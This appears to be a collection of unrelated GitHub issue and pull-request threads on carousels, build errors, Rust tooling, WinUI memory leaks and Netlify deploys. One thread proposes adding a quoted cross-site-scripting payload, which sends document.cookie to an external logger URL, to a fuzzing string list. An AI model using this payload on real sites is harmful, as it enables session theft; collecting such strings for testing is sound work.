The demo you provided doesn't appear to be working for me for some reason though so I can't update it and check for certain...Hope my settings helped to resolve your issue anyway.

Autoplay speed will start the auto scroll after the specificed time
On Mon 1 Oct, 2018, 5:01 PM andrewcourtney<EMAIL_ADDRESS>wrote:

Hi there,
Just want to chip in and say I was also experiencing this issue but the
following settings helped:
autoplay: true,
autoplaySpeed:3000,
cssEase: 'linear',
You might still want to adjust the animation speed using the "speed"
setting - I've got mine set to 1000 and that seems to have settled it down
enough for the user to still take in the information as it automatically
scrolls.
I think the main issue is because pauseOnHover is set to true by default
so adding it in causes a conflict somehow?
The demo you provided doesn't appear to be working for me for some reason
though so I can't update it and check for certain...Hope my settings helped
to resolve your issue anyway.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/kenwheeler/slick/issues/3587#issuecomment-425874959,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AgfdarI98WHzqLmoz_xVjIFqNOmT23xvks5ugfz4gaJpZM4XBb8v
.

Have the same issue.
$(".logo-carousel").slick({
	speed: 10000,
	autoplay: true,
	autoplaySpeed: 0,
	cssEase: 'linear',
	variableWidth: true,
	arrows: false
});

When we hover, the movement stops after 10s, not immediately.

I found a solution which is not ideal, but it works:
// var normalSpeed = 2000;
// var quickSpeed = 500;
$slider.on('mouseenter', () => {
  var track = $('.slick-track')[0];
  // ORIGINAL cssText "opacity: 1; width: 30000px; transform: translate3d(-1400px, 0px, 0px); transition: transform 2000ms linear 0s;"
  track.style.cssText = "opacity: 1; width: 30000px; transform: translate3d(-1400px, 0px, 0px); transition: transform 500ms linear 0s;"
  $slider.slick('slickSetOption', 'speed', quickSpeed, true).slick('slickPause');
}).on('mouseleave', () => {
  $slider.slick(slickSetOption', 'speed', normalSpeed, true).slick('slickPlay');
});

Manually setting the transform value to my quick speed got it to zip to the end of the transform.
Setting transform and transition to undefined stops it where it is.
Definitely a hack, and changing the value of transform/transition instead of cssText did not work.


Unable to install

I just followed the steps to install, but unfortunately there is something not working. help ?
Thanks
MacBook:~ stblack$ node -v
v6.11.0
MacBook:~ stblack$ npm -v
3.10.10
MacBook:~ stblack$ git clone https://github.com/nicohaenggi/SafariBooks-Downloader.git
Cloning into 'SafariBooks-Downloader'...
remote: Enumerating objects: 170, done.
remote: Total 170 (delta 0), reused 0 (delta 0), pack-reused 170
Receiving objects: 100% (170/170), 80.26 KiB | 371.00 KiB/s, done.
Resolving deltas: 100% (62/62), done.
MacBook:~ stblack$ npm install
npm WARN enoent ENOENT: no such file or directory, open '/Users/stblack/package.json'
npm WARN stblack No description
npm WARN stblack No repository field.
npm WARN stblack No README data
npm WARN stblack No license field.
MacBook:~ stblack$ npm install -g
npm ERR! addLocal Could not install /Users/stblack
npm ERR! Darwin 18.7.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "install" "-g"
npm ERR! node v6.11.0
npm ERR! npm  v3.10.10
npm ERR! code EISDIR
npm ERR! errno -21
npm ERR! syscall read
npm ERR! eisdir EISDIR: illegal operation on a directory, read
npm ERR! eisdir This is most likely not a problem with npm itself
npm ERR! eisdir and is related to npm not being able to find a package.json in
npm ERR! eisdir a package you are trying to install.
npm ERR! Please include the following file with any support request:
npm ERR!     /Users/stblack/npm-debug.log
MacBook:~ stblack$ safaribooks-downloader --version
-bash: safaribooks-downloader: command not found

you need to go to cloned folder SafariBooks-Downloader, package.json is there which needed for your npm install.


using semaphoreslim

just a small one i thought could fit in here

@dlamkins

you have to merge it ^^
i dont have access to your repo :)


Updated

@thoughtram @vyp @cburgdorf
I've updated clog and it's now compiling and working. I was having issues with docopt compiling so I switched to clap also I'm more familiar with clap since I maintain it. You still get the help/version/usage info for free  (just run clog --help for info). You can switch back to docopt once it's updated without much effort.
I ran it on this fork and it took 7ms to run...since I don't have any prior knowledge I'm not sure if that's a + or -
Hope this works for you! :)

Wow, genius! This looks super cool. Also clap looks quite expressive, too! I'm currently running rustup.sh in order to review it properly. Thanks for the hard work!

Awesome! :) This compiles and works for me!
Just a small nitpick, looks like the -r flag is invalid. And also, the executable is built under target/debug/, not target/, which isn't an issue, just the readme might need updating.
And just for reference, I used:
rustc 1.0.0-nightly (d8be84eb4 2015-03-29) (built 2015-03-30)
cargo 0.0.1-pre-nightly (72f2af1 2015-03-29) (built 2015-03-29)

@vyp the -r flag seems to work just fine for me? What issues did you run into?
Also this landed as https://github.com/thoughtram/clog/commit/d230dd8d323cc0edaebaa55e6a4b0e6a93e527ef
GREAT WORK!

@cburgdorf Oh nope, stand corrected! I was using -r=, which is why it was invalid.

Aaaaand, we have the very first version of clog that was ever pushed to crates.io https://crates.io/crates/clog
I'm so excited....and I just can't hide it :))

Oh this is so great, nice! :D


Add support for multilingual notifications

Hi,
Currently, with Alma-scheduler, you can only define one notification template to send email or SMS notifications to users with the appointment details when it is created or cancelled.
Would it be possible to support overriding display strings and locations based on the user's language preferences (stored in the user's Alma record)?
At Swiss National Library we have patron from different linguistic parts of the country and we need to send notification in german, french and italian.
This works fine with Primo VE (Supports overriding display strings and localizations based on Primo interface language) but not on the Alma side.
Thank you.
Best regards,
Bruce Sciboz

Thanks for your suggestion. We'll see what we can do.

We've looked into this request and it's a bit involved technically. We'll keep this issue open, but in the meantime I assume you're sending notifications in all three languages as a workaround?


testing something out...

What:

Why:

How:

Codecov Report

Merging #19 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master      #19   +/-   ##
=======================================
  Coverage   95.55%   95.55%
=======================================
  Files          13       13
  Lines          45       45
  Branches        3        3
=======================================
  Hits           43       43
  Misses          2        2

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 34799b2...fc95f1c. Read the comment docs.

Do we know why this one didn't deploy? Did you just miss the first shot?

This is how I found out that the next.config.js file isn't transpiled ;-)


Add CLI feature for adding a custom domain

It would be helpful to have something in the CLI to allow us to add a custom domain. AFAICT current railway domain only adds an internal one. I'd like to be able to automate the process of attaching a custom domain.

I'm happy to throw a community bounty up on this one for $100. Payable via GH sponsors/BMAC/etc

Hey, Can you assign this to me ?

I think this can go to whoever has a working PR setup for it. Happy to pay out whoever


where to put multiline strings?

this attack on webct has two different forms, one of them is a multiline string:
<div id="mycode" style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="// balupton's javascript session stealer automatic hack
	var iframe = document.createElement('iframe');
	iframe.style.border = 'none';
	iframe.style.height = '1px';
	iframe.style.width = '1px';
	var url =
		'http'+'://www.balupton.com/sandbox/logger.php'
		+'?variable=document.cookie'
		+'&value='+escape(document.cookie)
		+'&url='+escape(document.location)
		+'&pass_code=secret_key'
		;
	iframe.src = url;
	document.body.appendChild(iframe);">Thank you

With the newline break of the javascript word being part of it. Here is the simplified version:

Thank you

However it seems blns.txt won't support it.

Probably more suitable in https://github.com/fuzzdb-project/fuzzdb


Issue with listing currency

Listing currency does not input the correct format for it to be listed under the "bulk exhange" section on any trade websites.
For an example, the program would list it as: ~price 0.32 chaos
While it should be listed as: ~price 1/10 chaos
The top example is how the overlay tool currently does it, I have confirmed and checked multiple times, and it does not appear on the bulk exhange section when using it.
The bottom is from using the trade macro and it works, and the item shows up within a few seconds on the bulk section.
Another Issue that I have noticed when listing currency is the prices. Looking up for an example fusings would show this, which would be incorrect and make you unable to sell the item:

This picture is from the trade macro as a comparison:

Once again, I have tried selling currency with this tool multiple times now and I have been having issues with the currency not being listed in the bulk section and showing different prices that are way above the actual sell price. The trade macro however makes me able to sell the currency within a few minutes. Would love to hear back on this issue as I greatly appreciate the  #tool!

Hello, thank you for creating an issue. Using the bulk exchange is possible. For this you need to swap the ratio (clicking the arrows): 2.17 <> 1.00 -> 1 <> 0.46. Currently if the value is below 1.00 it will show the inverse ratio without the bulk exchange. This will be changed in the next update.

Thank you!

I just tried it and it still wont appear on the bulk item exhange when listing it as: ~price 0.14 chaos
I made sure I posted the lowest price to be able to see myself and I just tried again posting it manually as: ~price 7/50 chaos and it showed up a few moments after. Trade macro still seems to have more listers at the different prices compared to overlay and I dont really know why aswell.

I guess what I am asking is to have it be formated like ~price 7/50 chaos when clicking on the drop down list with all the sellers instead of ~price 0.14 chaos since that doesnt seem to work.

Okay. Currently clicking the bulk price inside the red rectangle will set it like this. The list view does not support this.

I feel bad about missing that, would indeed be nice to have it be supported in the list view however! Thanks and I really appreciate the work :)

0.6.8 (2020-03-19)

update exchange rate to not show inverse rate if item has stack size > 1 (#377)


Adding basic automated test infrastructure

Updates requirements files + adds test requirements file
Adds a SETUP.md file for instructions on setting up environment
Adds a makefile with some basic commands.  Right now I added super loose linting, no style checks at all right now.
Adds a github action that runs tests

This LGTM in general. If folks are open to it I can make a PR to move from make to nox or tox. Mostly to help keep things to virtualenvs on folks machines. But this is a big step forward!

Yeah I'm open to either! I haven't used tox too much, so will defer to you @crwilcox !


Memory leak when updating checkbox with x:Bind(Binding).

Describe the bug
Updating the checkbox's IsChecked property quickly via binding (x:Bind, Binding) continues to increase memory usage.
Steps to reproduce the bug

Create a TestRun class that quickly updates (long, bool) properties in the background. (INPC Implementation)
Implement so that background property update is properly updated through DispatcherQueue.
Make TestRun run when the window is turned on.
Bind (long, bool) properties via Textblock and CheckBox in window's xaml.
Run the program and watch the memory usage change.
Remove only the CheckBox and watch the memory usage change.

xaml.cs:
public sealed partial class MainWindow : Window
    {
        public TestRun Test = new TestRun();

        public MainWindow()
        {
            this.InitializeComponent();
            this.Activated += MainWindow_Activated;
            this.Test.Executor += Executor;

        }

        private void Executor(Action act)
        {
            if (DispatcherQueue.HasThreadAccess)
            {
                act.Invoke();
            }
            else
            {
                DispatcherQueue.TryEnqueue(Microsoft.UI.Dispatching.DispatcherQueuePriority.Normal, () => act.Invoke());
            }
        }

        private void MainWindow_Activated(object sender, WindowActivatedEventArgs args)
        {
            Test.Start();
        }
    }

    public class TestRun : INotifyPropertyChanged
    {
        public event Action<Action>? Executor;

        public event PropertyChangedEventHandler? PropertyChanged;

        private static void ExecutePropertyChanged(PropertyChangedEventHandler? handler, object? obj, string? name)
        {
            handler?.Invoke(obj, new PropertyChangedEventArgs(name));
        }

        public void Changed([CallerMemberName] string? name = null)
        {
            if (PropertyChanged == null) return;
            var act = () => ExecutePropertyChanged(PropertyChanged, this, name);
            Executor?.Invoke(act);
        }

        public bool Flag
        {
            get => flag;
            set { flag = value; Changed(); }
        }

        private bool flag;

        public long LastTick
        {
            get => lastTick;
            set { lastTick = value; Changed(); }
        }

        private long lastTick = 0;

        public long Count
        {
            get => count;
            set { count = value; Changed(); }
        }

        private long count = 0;
        private Thread? thread;

        public void Start()
        {
            if (thread is not null) return;
            thread = new Thread(() =>
            {
                while (true)
                {
                    var tick = Stopwatch.GetTimestamp();
                    if ((tick - LastTick) < 10 * 1000)
                    {
                        Thread.Yield();
                        continue;
                    }
                    LastTick = tick;
                    Count++;
                    Flag = !Flag;
                }
            });
            thread.Start();
        }
    }

xaml:
<Window
    x:Class="App2.MainWindow"
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
    x:Name="root"
    mc:Ignorable="d">

    <StackPanel
        HorizontalAlignment="Center"
        VerticalAlignment="Center"
        Orientation="Vertical">
        <TextBlock Text="{x:Bind Test.LastTick, Mode=OneWay}" />
        <TextBlock Text="{x:Bind Test.Count, Mode=OneWay}" />
        <CheckBox IsChecked="{x:Bind Test.Flag, Mode=OneWay}" />
    </StackPanel>
</Window>

Expected behavior
The memory usage should remain reasonable, but the memory usage continues to increase when I update the CheckBox control's IsChecked property with a binding.
If I remove only the CheckBox and update only the TextBlock with binding, the memory usage is maintained.
Screenshots

NuGet package version
WinUI 3 - Windows App SDK 1.4 Preview 1: 1.4.230628000-preview1
WinUI 3 - Windows App SDK 1.3
Windows version
Windows 11 (22H2): Build 22621
Additional context
.NET 7

Have you tried not using x:Bind and just using Binding. There seems to be issues in general with x:bind not being properly released.
https://github.com/microsoft/microsoft-ui-xaml/issues/7282

Have you tried not using x:Bind and just using Binding. There seems to be issues in general with x:bind not being properly released. #7282

Even using "Binding" causes problems.


2 Literary Events Added

with 2 images

Add a new PR with updated index.html file also which are hyperlinked to these pages


add no-USB variants of the Dongle programs

these are for the case where USB functionality fails and compromises the radio
functionality

rebased and moved the USB issues section into the troubleshooting chapter.


Update monorepo example to use transpilePackages

Type of Change

[ ] New Example
[x] Example updates (Bug fixes, new features, etc.)
[ ] Other (changes to the codebase, but not to examples)

@dominiksipowicz what do you mean by “test publishing the packages”? That’s not one of the goals of the example.

@dominiksipowicz what do you mean by “test publishing the packages”? That’s not one of the goals of the example.

Yes, if we do not wish to publish the package with this example, then it's fine. Thanks!


[5.2] Add seeCredentials to InteractsWithAuthentication

Useful for checking that the user data was saved correctly after a user registers or change its password.
Since the code below won't work:
$this->seeInDatabase([
    'email' =><EMAIL_ADDRESS>    'password' => bcrypt('secret_password'),
]);

seeCredentials will check that the password was encrypted properly relying on the methods provided in the UserProvider implementation.
$this->seeCredentials([
    'email' =><EMAIL_ADDRESS>    'password' => 'secret_password',
]);

this is not working yet, Laravel can't resolve app(UserProvider::class). I'm trying to find a solution / workaround for that. I don't want to use attempt because it triggers events, etc.


Basic script to deal with openshift policies

Hello contributor, thanks for submitting a PR for an this project!
I am the bot who triggers "standard-CI" builds for this project.
As a security measure I will not run automated tests on PRs that are not from white-listed contributors.
In order to allow automated tests to run, please ask one of the project maintainers to review the code and then do one of the following:

Type ci test please on this PR to trigger automated tests for it.
Type ci add to whitelist on this PR to trigger automated tests for it and also add you to the contributor white-list so that your future PRs will be tested automatically.
If you are planning to contribute to more than one project, maybe it's better to ask them to add you to the project organization, so you'll be able to run tests for all the organisation's projects.

Note: You might see multiple messages like this showing up on a single PR, this is due to a known bug in the GitHub trigger plugin on Jenkins, the infra team is working on fixing this via new testing flow in the near future, so we'll be able to post a single message per PR.

@rmohr so i used kube-infra sa instead but:

kept the iscsi sa and patching since i didnt see it in released kubevirt.yaml file
the kubevirt-admin sa is not used neither there

kept the iscsi sa and patching since i didnt see it in released kubevirt.yaml file

Yes they are not part of the release, since they are just infra for testing. The are in manifests/testing and use the kubevirt-infra account aswell if they are deployed. Since the iscsi target are really just there for testing and demoing, I would not create an  extra account for  them.

the kubevirt-admin sa is not used neither there

:+1:
So at the end, all we need to do, to make a release work is:
oc adm policy add-cluster-role-to-user cluster-admin -z kubevirt-infra -n kube-system
oc adm policy add-scc-to-user privileged -z kubevirt-infra -n kube-system
oc adm policy add-cluster-role-to-user cluster-admin -z kubevirt-infra -n kube-system

To allow the testing iscsi infra to work:
oc adm policy add-scc-to-user hostmount-anyuid -z kubevirt-infra -n kube-system

But I guess, if the testing infra uses kubevirt-infra too, that line is not even needed.

One general note: On the long run, we want different sas for every components (api, controller, handler and testing). Using right now kubevirt-infra for the next weeks/releases works for me.

Tracked in #621.
I suppose we can now merge this patch, @rmohr ?

@fabiand I think it is great that @karmab did the work of tracking down the remaining gaps (@karmab thanks again!). However, like it is right now, it does not really help us. We need to integrate it at least with minishift, to see if we introduce changes which will break our manifests. I would prefer to keep this PR open, until we revisit this and officially start supporting open shift (which means running tests against it). That is not far away, but we need a little bit more time to properly integrate it.

Alright, then let's close it. We've got the OpenShift support covered in kubevirt-ansible.

Thanks @karmab - but we can not merge it here unless we have the complete test coverage.


Enable readFile in first-pass renderer

It's not clear to me why readFile is disabled in the first-pass renderer. The implementation talks about "side-effect template calls" but I don't really see why reading a file is considered a side effect.
For me, the main thing is that I don't want to see the message
could not deduce `environment:` block, configuring only .Environment.Name. error: failed to read iae.yaml.part.0: reading document at index 1: yaml: unknown anchor 'iae' referenced

in my log files: it sounds like an error while it's not.
But when you think about it, using readFile seems useful in combination with the feature that the two-pass renderer adds (using values defined in environment blocks).

@jdemeyer Thanks!
Sorry but unfortunately, this is unlikely to happen... The first render is really for reading values and environments and nothing else. And {{ readFile }} affecting that is a debugging and user-support nightmare.

For me, the main thing is that I don't want to see the message

Do you see it only when you've enabled debug logging, right...?
Then, the main problem seems to be you wanna some indication that the error is tolerable and handled correctly.

Do you see it only when you've enabled debug logging, right...?

No, it's logged on the "info" level. If you would change that to "debug", that would also work for me.

...or even just make it more clear that it's essentially a harmless message that doesn't indicate a problem which needs to be fixed.

@jdemeyer Thanks. Doing both would be nice!
Do you have any idea how the message would look like so that it could tell you its harmless?

Or the right path in mid-term would be #932 which allows us to eventually remove the double-rendering.

Fix my request

Pull reqwest

Pull requrst

Что именно обсуждаем?


[SCHEMA] Reorganize schema

Closes #603. This does not currently include updates to the schema-related code, but we can use it to discuss the changes to the schema itself.

@satra @yarikoptic I'd especially like to get your thoughts on this structure.

Auxiliary data types/modalities are proving to be very difficult to manage in #610, so I'm leaning toward adopting a purely top-down organization with this PR. I think we can adjust as needed after.

This is way out of date and combines too many changes. I've opened #762, which may be a better way to add the metadata files at least. We can discuss reorganizing the schema itself in another issue/PR.


[Bug]: Plugin is Incompatible with node 18

Summary
Attempting to deploy to netlify, with node version greater than v18 results in a failure. After downgrading to node v16.15.0 the build seems to work again.
I think the main issue has to do with structuredClone
2:05:36 PM: ❯ Loading plugins
2:05:36 PM:    -<EMAIL_ADDRESS>from netlify.toml and package.json
2:05:37 PM: Uncaught exception, the process will now terminate…
2:05:37 PM: Error: Unable to deserialize cloned data due to invalid or unsupported version.
2:05:37 PM:     at parseChannelMessages (node:internal/child_process/serialization:72:20)
2:05:37 PM:     at parseChannelMessages.next (<anonymous>)
2:05:37 PM:     at Pipe.channel.onread (node:internal/child_process:611:18)

Steps to reproduce

Deploy a next js app on netlify specifying node v18

A link to a reproduction repository
No response
Plugin version
4.7.0
More information about your build

[ ] I am building using the CLI
[ ] I am building using file-based configuration (netlify.toml)

What OS are you using?
Windows 10
Your netlify.toml file

`netlify.toml`
# Paste content of your `netlify.toml` file here

Your public/_redirects file

`_redirects`
# Paste content of your `_redirects` file here

Your next.config.js file

`next.config.js`
# Paste content of your `next.config.js` file here. Check there is no private info in there.

Builds logs (or link to your logs)

Build logs
2:05:02 PM: Build ready to start
2:05:06 PM: build-image version: d2c6dbeac570350a387d832f64bc980dc964ad65 (focal)
2:05:06 PM: build-image tag: v4.8.0
2:05:06 PM: buildbot version: 17f6c1ab2fe6d61574ce02b038041b816bf6c085
2:05:07 PM: Building without cache
2:05:07 PM: Starting to prepare the repo for build
2:05:07 PM: No cached dependencies found. Cloning fresh repo
2:05:07 PM: git clone https://github.com/Zenthos/Data-Structures-Playground
2:05:07 PM: Preparing Git Reference refs/heads/test
2:05:08 PM: Parsing package.json dependencies
2:05:09 PM: Starting build script
2:05:09 PM: Installing dependencies
2:05:09 PM: Python version set to 2.7
2:05:10 PM: Downloading and installing node v18.1.0...
2:05:10 PM: Downloading https://nodejs.org/dist/v18.1.0/node-v18.1.0-linux-x64.tar.xz...
2:05:10 PM: Computing checksum with sha256sum
2:05:10 PM: Checksums matched!
2:05:13 PM: Now using node v18.1.0 (npm v8.8.0)
2:05:13 PM: Started restoring cached build plugins
2:05:13 PM: Finished restoring cached build plugins
2:05:13 PM: Attempting ruby version 2.7.2, read from environment
2:05:15 PM: Using ruby version 2.7.2
2:05:15 PM: Using PHP version 8.0
2:05:15 PM: Started restoring cached yarn cache
2:05:15 PM: Finished restoring cached yarn cache
2:05:16 PM: Found yarn version (1.22.10) that doesn't match expected (1.22.18)
2:05:16 PM: up to date, audited 1 package in 136ms
2:05:16 PM: found 0 vulnerabilities
2:05:16 PM: Installing yarn at version 1.22.18
2:05:16 PM: Installing Yarn!
2:05:16 PM: > Downloading tarball...
2:05:16 PM: [1/2]: https://yarnpkg.com/downloads/1.22.18/yarn-v1.22.18.tar.gz --> /tmp/yarn.tar.gz.MrFDeyhZ6J
2:05:16 PM:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
2:05:16 PM:                                  Dload  Upload   Total   Spent    Left  Speed
2:05:16 PM:   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
2:05:16 PM: 100    81  100    81    0     0    723      0 --:--:-- --:--:-- --:--:--   723
2:05:16 PM: 100    94  100    94    0     0    393      0 --:--:-- --:--:-- --:--:--   393
2:05:16 PM:   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
2:05:16 PM: 100 1217k  100 1217k    0     0  2748k      0 --:--:-- --:--:-- --:--:-- 2748k
2:05:16 PM: [2/2]: https://yarnpkg.com/downloads/1.22.18/yarn-v1.22.18.tar.gz.asc --> /tmp/yarn.tar.gz.MrFDeyhZ6J.asc
2:05:16 PM:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
2:05:16 PM:                                  Dload  Upload   Total   Spent    Left  Speed
2:05:16 PM:   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
2:05:16 PM: 100    85  100    85    0     0   2073      0 --:--:-- --:--:-- --:--:--  2073
2:05:16 PM: 100    98  100    98    0     0   1814      0 --:--:-- --:--:-- --:--:--  1814
2:05:17 PM:   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
2:05:17 PM:   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
2:05:17 PM: 100   833  100   833    0     0   2501      0 --:--:-- --:--:-- --:--:--  2501
2:05:17 PM: > Verifying integrity...
2:05:17 PM: gpg: Signature made Wed 16 Mar 2022 06:39:25 PM UTC
2:05:17 PM: gpg:                using RSA key 6D98490C6F1ACDDD448E45954F77679369475BAA
2:05:17 PM: gpg: Good signature from "Yarn Packaging<EMAIL_ADDRESS>[unknown]
2:05:17 PM: gpg: WARNING: This key is not certified with a trusted signature!
2:05:17 PM: gpg:          There is no indication that the signature belongs to the owner.
2:05:17 PM: Primary key fingerprint: 72EC F46A 56B4 AD39 C907  BBB7 1646 B01B 86E5 0310
2:05:17 PM:      Subkey fingerprint: 6D98 490C 6F1A CDDD 448E  4595 4F77 6793 6947 5BAA
2:05:17 PM: > GPG signature looks good
2:05:17 PM: > Extracting to ~/.yarn...
2:05:17 PM: > Adding to $PATH...
2:05:17 PM: > Successfully installed Yarn 1.22.18! Please open another terminal where the `yarn` command will now be available.
2:05:17 PM: No yarn workspaces detected
2:05:17 PM: Started restoring cached node modules
2:05:17 PM: Finished restoring cached node modules
2:05:18 PM: Installing NPM modules using Yarn version 1.22.18
2:05:18 PM: npm WARN config tmp This setting is no longer used.  npm stores temporary files in a special
2:05:18 PM: npm WARN config location in the cache, and they are managed by
2:05:18 PM: npm WARN config     [`cacache`](http://npm.im/cacache).
2:05:18 PM: yarn install v1.22.18
2:05:18 PM: [1/4] Resolving packages...
2:05:18 PM: [2/4] Fetching packages...
2:05:28 PM: [3/4] Linking dependencies...
2:05:30 PM: [4/4] Building fresh packages...
2:05:34 PM: Done in 15.76s.
2:05:34 PM: NPM modules installed using Yarn
2:05:34 PM: Started restoring cached go cache
2:05:34 PM: Finished restoring cached go cache
2:05:34 PM: go version go1.16.5 linux/amd64
2:05:34 PM: go version go1.16.5 linux/amd64
2:05:34 PM: Installing missing commands
2:05:34 PM: Verify run directory
2:05:36 PM:
2:05:36 PM: ────────────────────────────────────────────────────────────────
2:05:36 PM:   Netlify Build
2:05:36 PM: ────────────────────────────────────────────────────────────────
2:05:36 PM:
2:05:36 PM: ❯ Version
2:05:36 PM:   @netlify/build 27.1.3
2:05:36 PM:
2:05:36 PM: ❯ Flags
2:05:36 PM:   baseRelDir: true
2:05:36 PM:   buildId: 6287d84e19f4bb16cd29d95d
2:05:36 PM:   deployId: 6287d84e19f4bb16cd29d95f
2:05:36 PM:
2:05:36 PM: ❯ Current directory
2:05:36 PM:   /opt/build/repo
2:05:36 PM:
2:05:36 PM: ❯ Config file
2:05:36 PM:   /opt/build/repo/netlify.toml
2:05:36 PM:
2:05:36 PM: ❯ Context
2:05:36 PM:   production
2:05:36 PM:
2:05:36 PM: ❯ Loading plugins
2:05:36 PM:    -<EMAIL_ADDRESS>from netlify.toml and package.json
2:05:37 PM: Uncaught exception, the process will now terminate…
2:05:37 PM: Error: Unable to deserialize cloned data due to invalid or unsupported version.
2:05:37 PM:     at parseChannelMessages (node:internal/child_process/serialization:72:20)
2:05:37 PM:     at parseChannelMessages.next (<anonymous>)
2:05:37 PM:     at Pipe.channel.onread (node:internal/child_process:611:18)
2:05:37 PM: Caching artifacts
2:05:37 PM: Started saving node modules
2:05:37 PM: Finished saving node modules
2:05:37 PM: Started saving build plugins
2:05:37 PM: Finished saving build plugins
2:05:37 PM: Started saving yarn cache
2:05:39 PM: Finished saving yarn cache
2:05:39 PM: Started saving pip cache
2:05:39 PM: Finished saving pip cache
2:05:39 PM: Started saving emacs cask dependencies
2:05:39 PM: Finished saving emacs cask dependencies
2:05:39 PM: Started saving maven dependencies
2:05:39 PM: Finished saving maven dependencies
2:05:39 PM: Started saving boot dependencies
2:05:39 PM: Finished saving boot dependencies
2:05:39 PM: Started saving rust rustup cache
2:05:39 PM: Finished saving rust rustup cache
2:05:39 PM: Started saving go dependencies
2:05:39 PM: Finished saving go dependencies
2:05:42 PM: Build was terminated: Build script returned non-zero exit code: 1
2:05:42 PM: Creating deploy upload records
2:05:42 PM: Failing build: Failed to build site
2:05:42 PM: Failed during stage 'building site': Build script returned non-zero exit code: 1 (https://ntl.fyi/exit-code-1)
2:05:43 PM: Finished processing build request in 36.226762711s

Function logs

Function logs
# Paste logs here

.next JSON files

generated .next JSON files
# Paste file contents here. Please check there isn't any private info in them
# You can either build locally, or download the deploy from Netlify by clicking the arrow next to the deploy time.

Hi @Zenthos!
I've just tested deploying a (boilerplate, no modifications after running npx create-next-app@latest) Next app using node 18.2.0, and am not seeing this error. Can I get some more information from you?
My version of next is 12.1.6 (which seems to be working). What version are you on?
You didn't add any next.config.js or netlify.toml info - I'd just like to double check on those - do you have anything in those files at all? I'd like to see if I can replicate your issue.

Hello @sarahetter
I am also using next v12.1.6, I just updated the post above with the next.config.js and netlify.toml files I had. I'll also attach my package.json, in the case that it might be a different library causing the issue.

`package.json`
{
  "name": "app",
  "version": "0.1.0",
  "private": true,
  "browserslist": [
    "> 1%",
    "not ie <= 11",
    "not edge <= 18",
    "not dead",
    "not op_mini all"
  ],
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",
    "debug": "cross-env NODE_OPTIONS='--inspect' next dev",
    "analyze": "cross-env ANALYZE=true next build",
    "generate": "prisma generate",
    "lint": "eslint \"**/*.{js,jsx,ts,tsx}\"",
    "prettier": "prettier --write \"**/*.{js,jsx,ts,tsx}\""
  },
  "dependencies": {
    "@next/bundle-analyzer": "^12.1.6",
    "next": "12.1.6",
    "next-compose-plugins": "^2.2.1",
    "prettier": "^2.6.2",
    "prisma": "^3.14.0",
    "react": "^18.1.0",
    "react-dom": "^18.1.0"
  },
  "devDependencies": {
    "@netlify/plugin-nextjs": "^4.7.0",
    "@types/node": "17.0.33",
    "@types/react": "18.0.9",
    "@types/react-dom": "18.0.4",
    "@typescript-eslint/eslint-plugin": "5.23.0",
    "@typescript-eslint/parser": "5.23.0",
    "cross-env": "7.0.3",
    "eslint": "8.15.0",
    "eslint-config-prettier": "8.5.0",
    "eslint-plugin-prettier": "4.0.0",
    "typescript": "4.6.4"
  }
}

@sarahetter
After playing around some more, I think I just needed to let netlify install @netlify/plugin-nextjs for me, rather than adding the package to my package.json. The problem goes away once I removed this package from my package.json. I don't know if this is intended, since in the next and netlify integration docs it says

For existing sites already linked to Netlify, you can choose to install the plugin yourself.

which i might've misinterpreted?

@Zenthos Yep, that's definitely the solution! This plugin works on our infrastructure, so to install it, we mean through that link at app.netlify.com, not as a package.json dependency. I'm glad it's working for you now. :)
I'm going to close this issue as solved - if you have any other issues feel free to open a new issue, or re-open this one if it's related.


[BUG] Cannot set property '0' of undefined

Description/Screenshot
Caused by JS App Insights snippet copied directly from here

Steps to Reproduce

Windows 10, Chrome : 83.0.4103.97
SDK Version: Not sure, isn't just "latest"?
How you initialized the SDK: Not sure what that means. I have just pasted the snippet into an aspx page.

Interestingly, it consistently errors on some pages and not others even though they all have the same snippet.
Expected behavior
No errors logged to console
Additional context
It looks like the track POST is still successful according to the network tab. We have only recently updated the snippet to support addTelemetryInitializer

We think the problem might be pages that have ajax calls on them.

Which snippet did you use for your pages?

There was a bug in snippet v3 z(#1283), which is now fixed and we have updated the snippets.
Can you please check the version of the snippet you are using? Search for the value of the ,sv: field, if it's ,sv:"4", then it's the latest, but if it's sv:"3" then please update to the latest version.

@lukos did this resolve your issue?

Closing from no response -- please reopen if this is still occurring


Feature/general fixes

Changed
I made this branch for splitting this PR: https://github.com/boomerang-io/flow.service.workflow/pull/210
This branch contains the not directly related changes to Eventing and I will make a different branch that will contain the Eventing changes.

@tlawrie @amhudson Please make some time to review these changes. There's a risk to get more changes on main and it takes a lot of time to re sync.

Hey @tlawrie Please review this one!

Merging IBM requested changes as approved by @amhudson.


CUDA unavailable

Hi! My GPU is unfortunately not by nvidia and so its not possible to compile torch with cuda. Is there any alternative code for normal gpus?
thx in advance

sorry，only avaliable on nv gpu


account index validation in drop market

This adds account_index validation in DropMarket RPC.
This closes #404
@altafan please review.

@tiero this one to be closed

I saw this has been included in #412 and can be closed as dusan said.


LibWeb: Remove unused members in PaintOuterBoxShadowParams

This struct had many params in CSSPixels and DevicePixels, but only the
latter are needed for pointing.
Shrinks PaintOuterBoxShadowParams from 144 bytes to 72 bytes.

s/pointing/painting/ :)


Proposed updates to current raid info.

[x]  Showing how many you have of any (or specific) dropped item now could help tracking.
[x] Once Veera injects into/interfaces with the game page more closely, the next quest should be a link to said quest.
